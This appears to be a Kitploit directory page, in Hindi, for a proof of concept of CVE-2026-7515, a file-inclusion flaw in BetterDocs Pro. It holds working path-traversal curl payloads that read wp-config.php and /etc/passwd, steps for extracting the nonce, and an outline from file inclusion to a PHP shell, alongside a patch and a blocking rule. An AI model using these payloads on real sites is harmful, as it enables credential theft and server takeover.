Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
Log in
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
By-Poloss..-..CVE-2026-7515-PoC — अप्रमाणित स्थानीय फ़ाइल समावेशन | Kitploit
उपकरण/GitHubGitHub/polosss/by-poloss..-..cve-2026-7515-poc
भेद्यता विश्लेषणकोड विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षा
GitHubpolosss/by-poloss..-..cve-2026-7515-poc

By-Poloss..-..CVE-2026-7515-PoC

अप्रमाणित स्थानीय फ़ाइल समावेशन

रिपॉजिटरी देखें
1113 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-7515: BetterDocs Pro <= 3.8.0 - अनधिकृत स्थानीय फ़ाइल समावेशन

अवलोकन

फ़ील्डमान
CVE IDCVE-2026-7515
CVSS स्कोर9.8 (क्रिटिकल)
CVSS वेक्टरAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
प्रभावितBetterDocs Pro <= 3.8.0
पैच किया गया3.8.1
शोधकर्ताNguyen Ngoc Duc (duc193)
प्रकाशितजून 18, 2026
CWECWE-98: शामिल/आवश्यक कथन में फ़ाइलनाम का अनुचित नियंत्रण

भेद्यता विवरण

WordPress के लिए BetterDocs Pro प्लगइन doc_style पैरामीटर के माध्यम से संस्करण 3.8.0 तक (और इसमें शामिल) स्थानीय फ़ाइल समावेशन के लिए संवेदनशील है। इससे अनधिकृत हमलावरों के लिए सर्वर पर मनमानी PHP फ़ाइलों को शामिल करना और निष्पादित करना संभव हो जाता है।

टेंट विश्लेषण: स्रोत → सिंक

स्रोत (उपयोगकर्ता इनपुट)

फ़ाइल: wp-content/plugins/betterdocs-pro/includes/Core/Encyclopedia.php पंक्ति: 141

// संवेदनशील कोड (v3.8.0)
$doc_style = isset($_POST['doc_style']) ? $_POST['doc_style'] : 'doc-grid';

समस्या: $_POST['doc_style'] से उपयोगकर्ता-नियंत्रित इनपुट बिना किसी सत्यापन के सीधे उपयोग किया जाता है।

सिंक (खतरनाक फ़ंक्शन)

फ़ाइल: wp-content/plugins/betterdocs-pro/includes/Core/Encyclopedia.php पंक्ति: 195

betterdocs_pro()->views->get("layouts/encyclopedia/$doc_style", [
    'doc' => $doc,
    'excerpt' => $excerpt,
    'dictionary_learn_more_text' => $learn_more_text,
    'item_heading_tag' => $item_heading_tag,
]);

समस्या: $doc_style चर (उपयोगकर्ता-नियंत्रित) को सीधे views->get() को पारित फ़ाइल पथ में अंतःस्थापित किया जाता है, जो फ़ाइल को शामिल करता है।

डेटा प्रवाह

HTTP POST अनुरोध
        ↓
$_POST['doc_style'] = "../../../../../../wp-config"
        ↓
कोई सत्यापन नहीं (संवेदनशील संस्करण 3.8.0)
        ↓
betterdocs_pro()->views->get("layouts/encyclopedia/$doc_style", [...])
        ↓
include() या require() के माध्यम से फ़ाइल समावेशन
        ↓
मनमाना PHP कोड निष्पादन / फ़ाइल पढ़ना

अंतर: संवेदनशील बनाम पैच किया गया

संवेदनशील संस्करण 3.8.0

// पंक्ति 141 in includes/Core/Encyclopedia.php
$doc_style = isset($_POST['doc_style']) ? $_POST['doc_style'] : 'doc-grid';

पैच किया गया संस्करण 3.8.1

// पंक्ति 145-148 in includes/Core/Encyclopedia.php
$allowed_doc_styles = ['doc-grid', 'doc-list', 'doc-list-2'];
$doc_style = isset($_POST['doc_style']) && in_array($_POST['doc_style'], $allowed_doc_styles, true)
    ? $_POST['doc_style']
    : 'doc-grid';

मुख्य अंतर

पहलूसंवेदनशील (3.8.0)पैच किया गया (3.8.1)
सत्यापनकोई नहींin_array() के साथ श्वेतसूची
अनुमत मानकोई भी स्ट्रिंगकेवल doc-grid, doc-list, doc-list-2
प्रकार जाँचनहींसख्त (===) तुलना

प्रभावित AJAX एंडपॉइंट

दोनों एंडपॉइंट nopriv हुक के साथ पंजीकृत हैं, जिसका अर्थ है कि वे अनधिकृत उपयोगकर्ताओं के लिए सुलभ हैं:

// पंक्ति 17-18
add_action('wp_ajax_load_more_docs_section', [$this, 'load_more_docs_section']);
add_action('wp_ajax_nopriv_load_more_docs_section', [$this, 'load_more_docs_section']);

// पंक्ति 20-21
add_action('wp_ajax_load_more_docs', [$this, 'load_more_docs']);
add_action('wp_ajax_nopriv_load_more_docs', [$this, 'load_more_docs']);

एंडपॉइंट:

  1. POST /wp-admin/admin-ajax.php?action=load_more_docs_section
  2. POST /wp-admin/admin-ajax.php?action=load_more_docs

प्रमाण-अवधारणा

पूर्वापेक्षाएँ

  • मान्य encyclopedia_nonce (BetterDocs Encyclopedia ब्लॉक वाले पृष्ठों पर पृष्ठ स्रोत में पाया जाता है)

मैन्युअल शोषण

# चरण 1: wp-config.php पढ़ें
curl -X POST "https://target.com/wp-admin/admin-ajax.php" \
  -d "action=load_more_docs_section" \
  -d "_nonce=VALID_ENCRYPTION_NONCE" \
  -d "doc_style=../../../../../../wp-config" \
  -d "page=1"

# चरण 2: /etc/passwd पढ़ें
curl -X POST "https://target.com/wp-admin/admin-ajax.php" \
  -d "action=load_more_docs" \
  -d "_nonce=VALID_ENCRYPTION_NONCE" \
  -d "doc_style=../../../../../../etc/passwd" \
  -d "page=0"

नॉन्स खोजना

encyclopedia_nonce उन पृष्ठों पर JavaScript में उजागर होता है जहाँ BetterDocs Encyclopedia ब्लॉक प्रस्तुत किया जाता है:

// in betterdocs-encyclopedia.js
betterdocsEncyclopedia = {
    'site_url': '...',
    'ajax_url': '...',
    '_nonce': 'VALID_NONCE_HERE'  // <-- यह वही है जो आपको चाहिए
};

LFI से RCE पथ

  1. wp-config.php पढ़ें - डेटाबेस क्रेडेंशियल्स निकालें
  2. PHP शेल अपलोड करें - WordPress मीडिया अपलोड या थीम संपादक के माध्यम से
  3. दुर्भावनापूर्ण फ़ाइल शामिल करें - LFI भेद्यता के माध्यम से
  4. कोड निष्पादित करें - दूरस्थ कोड निष्पादन प्राप्त करें

प्रभाव

प्रभाव प्रकारगंभीरताविवरण
गोपनीयताउच्चमनमानी फ़ाइलें पढ़ें (wp-config.php, /etc/passwd, आदि)
अखंडताउच्चफ़ाइलों को संशोधित या हटाएं
उपलब्धताउच्चसेवा से वंचित करना
पहुंच वेक्टरनेटवर्कदूरस्थ रूप से शोषणीय
विशेषाधिकारकोई नहींप्रमाणीकरण की आवश्यकता नहीं
उपयोगकर्ता सहभागिताकोई नहींआवश्यक नहीं

उपचार

प्राथमिक समाधान

BetterDocs Pro संस्करण 3.8.1 या बाद के संस्करण में अपडेट करें

मैन्युअल समाधान (यदि अपडेट संभव नहीं है)

includes/Core/Encyclopedia.php में निम्नलिखित पैच लागू करें:

// पंक्ति 141 को इससे बदलें:
$allowed_doc_styles = ['doc-grid', 'doc-list', 'doc-list-2'];
$doc_style = isset($_POST['doc_style']) && in_array($_POST['doc_style'], $allowed_doc_styles, true)
    ? $_POST['doc_style']
    : 'doc-grid';

पंक्ति 236 पर भी यही समाधान लागू करें।

WAF नियम (अस्थायी शमन)

doc_style पैरामीटर में पथ ट्रैवर्सल को अवरुद्ध करने के लिए नियम जोड़ें:

# पथ ट्रैवर्सल पैटर्न के साथ doc_style को अवरुद्ध करें
SecRule ARGS:doc_style "@rx (\.\.\/|\.\.\\|%2e%2e)" \
    "id:1001,phase:1,deny,status:403,msg:'LFI प्रयास अवरुद्ध'"

संदर्भ

  • Wordfence Intelligence
  • BetterDocs Official
  • CVE Details
  • WPVDB

विश्लेषित फ़ाइलें

संवेदनशील संस्करण: betterdocs-pro_3.8.0.zip
पैच किया गया संस्करण:   betterdocs-pro_3.9.0.zip

मुख्य फ़ाइलें:
- includes/Core/Encyclopedia.php    (संवेदनशील)
- includes/Core/Scripts.php         (नॉन्स जनरेशन शामिल है)
- includes/Utils/Views.php          (फ़ाइल समावेशन तर्क)
टूल डाउनलोड करें